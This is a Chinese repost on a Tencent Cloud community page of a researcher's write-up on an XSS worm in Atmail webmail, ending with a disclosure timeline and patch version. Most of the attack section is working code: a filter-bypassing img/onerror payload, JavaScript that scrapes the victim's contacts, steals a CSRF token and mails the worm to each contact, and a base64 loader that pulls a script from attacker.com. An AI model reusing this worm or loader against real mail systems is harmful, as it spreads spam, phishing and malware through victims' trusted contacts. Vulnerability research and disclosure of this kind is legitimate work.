前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【国庆快乐^^】如何在Atmail上构建XSS蠕虫

【国庆快乐^^】如何在Atmail上构建XSS蠕虫

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 11:41:33
8780
发布2018-02-06 11:41:33
举报
文章被收录于专栏:安恒网络空间安全讲武堂

如何在Atmail上构建XSS蠕虫

这篇博客文章由高级安全分析师Zach Julian撰写; 你可以在Twitter上与他联系。

Atmail是云端和本地电子邮件托管的受欢迎的提供商。

作为DreamHost的atmail用户,在我工作期间,我看到了几个令人印象深刻的电子邮件跨站点脚本(XSS)攻击,我试图在他们的webmail前端找到一个xss漏洞。 几个小时后我发现了一个有效载荷,但是想更进一步的利用他。 最着名的XSS蠕虫病例在2005年影响了MySpace ,2014年的TweetDeck更新版本更新。

在这篇文章中,我将展示构建一个通过受害者联系人传播的XSS有效载荷的蠕虫测试。

测试环境

在开始之前,我准备了一个简单的测试环境。 使用以下命令发送电子邮件,将存在的的XSS payload插入到邮件中:

cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com

然后我使用Firefox开发工具来查看XSS payload是如何在webmail客户端的DOM中呈现的。

构建和测试XSS payload的过程

第一步是构建一个XSS payload,可以完整地运行atmail的内容过滤。我开始发送一封包含每个有效的HTML标签的电子邮件,以查看哪些邮件传递后仍然保留,尽管我最终决定使用<img>标签。虽然<img>很好地构建XSS有效载荷,但其缺点是受害者必须在XSS触发之前决定在atmail内“显示图像”。可以使用标签来开发更好的有效载荷,而不需要进一步的用户交互。 接下来,我开始记录了邮件如何清理我的有效载荷。我需要观察atmail如何处理<img>标签中的字符和HTML属性,以避免过滤器并在受害者的浏览器中呈现语法正确的标签。通过发送包含每个有效属性(1)的<img>标签,我注意到只允许src,alt,longdesc,style,height和width属性。另外,我注意到对我的有效载荷的几个修改,例如将单引号转换为双引号,删除onerror事件,以及删除没有src属性的任何<img>标记。 虽然onerror事件被删除,我怀疑单引号转换为双引号可能有助于避免白名单,如果两者都在<img>标签中使用。最后,这个怀疑证明是正确的,虽然我不得不在两个<img>标签之间使用一组双引号。以下是工作的XSS有效载荷:

1

< img longdesc = "src='x'onerror=alert(document.domain);//><img " src = 'showme' >

这在webmail客户端中呈现如下:

1

< img longdesc = "src=" images = "" stop . png "=" " onerror=" alert ( document . domain ) ; //&quot;" src="x" alt="showme">

在浏览器提交之前,没有查看应用程序源代码,我们是无法准确知道对我的有效载荷被服务器进行了什么处理。 然而,似乎atmail以这样的方式解释单引号和双引号,即使两个<img>标签组合成一个。 在longdesc属性中包含onerror事件,允许它通过内容过滤器,并在处理后正确呈现XSS。

构建蠕虫 找到可以用的的XSS向量后,下一步是创建一个可以传播我的电子邮件蠕虫xss payload 我写了一些JavaScript代码 分三步: 提取受害者的联系人列表 从atmail获取有效的CSRF令牌 向每个受害者的联系人发送电子邮件 此代码类似于以下内容,XSS有效内容包含在URL编码文本块中:

代码语言:js
复制
//HTTP request to grab victim's contacts

xmlHttp = new XMLHttpRequest ( ) ;

xmlHttp . open ( 'GET' , '/index.php/mail/contacts/viewcontacts/GroupID/0' , false ) ;

xmlHttp . send ( null ) ;

response = xmlHttp . responseText ;

 

//Extract email addresses and filter duplicates

var extractedemails = response . match ( /[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/i gm ) ;

var uniqueemails = [ ] ;

for ( var i = 0 ; i < extractedemails . length ; i ++ ) { if ( uniqueemails . indexOf ( extractedemails [ i ] ) == - 1 ) uniqueemails . push ( extractedemails [ i ] ) ; }

 

//HTTP request to get CSRF token

xmlHttp . open ( 'GET' , '/index.php/mail/contacts' , false ) ;

xmlHttp . send ( null ) ;

response2 = xmlHttp . responseText ;

var csrftoken = response2 . match ( /name=\"atmailCSRF" value=\"(.+?)\"/i m ) ;

 

//Loop through contacts and send email

for ( var i = 0 ; i < uniqueemails . length ; i ++ ) {

xmlHttp . open ( 'POST' , '/index.php/mail/composemessage/send' , false ) ;

var params = 'atmailCSRF=' + csrftoken [ 1 ] + '&emailTo=' + unique [ i ] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e' ;

xmlHttp . setRequestHeader ( 'Content-type' , 'application/x-www-form-urlencoded' ) ;

xmlHttp . send ( params ) ;

起初,我尝试对这个JavaScript的一个最小化版本进行Base64编码,并将其包含在XSS有效载荷的onerror事件中。 然后使用eval(atob())对其进行解码和执行,如下所示:

1

< img longdesc = " xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src = 'showme' >

不过,我注意到,atmail将我的Base64字符串限制为945个字符,太短。 而不是将整个脚本包含在onerror事件中,我将其托管在外部位置,然后重写了我的XSS有效载荷,如下所示:

1

onerror = "include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"

上面显示的有效载荷会在以下标签中创建一个新的<script>标签 <head>页面元素,包括我的恶意 外部托管的JavaScript。 这也是Base64编码的 最终有效载荷如下:

1

< img longdesc = "src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src = 'showme' >

一切都搞定后,蠕虫已经开始运作了。 下面这个视频演示了它的整个逻辑过程: atmail上的XSS蠕虫将有利于垃圾邮件发送者和其他恶意软件 谁将受益于操纵受害者发送的行为者 任意消息到他们的联系人列表。 因为它的病毒性质 以及与已知的电子邮件相关联的附加信任 联系,这种攻击将非常适合垃圾邮件,恶意软件传递或 网路钓鱼攻击 披露时间表:发现这个漏洞后,我开始负责与邮件公开程序。 到2017年5月25日,他们得到了补救 这个问题可以通过升级到atmail版本7.8.0.2来修补。 2017-02-24 - 漏洞报告 2017-02-27 - 报告承认

2017-05-25 - 补丁发布

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-10-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 如何在Atmail上构建XSS蠕虫
  • 测试环境
相关产品与服务
Elasticsearch Service
腾讯云 Elasticsearch Service(ES)是云端全托管海量数据检索分析服务,拥有高性能自研内核,集成X-Pack。ES 支持通过自治索引、存算分离、集群巡检等特性轻松管理集群,也支持免运维、自动弹性、按需使用的 Serverless 模式。使用 ES 您可以高效构建信息检索、日志分析、运维监控等服务,它独特的向量检索还可助您构建基于语义、图像的AI深度应用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档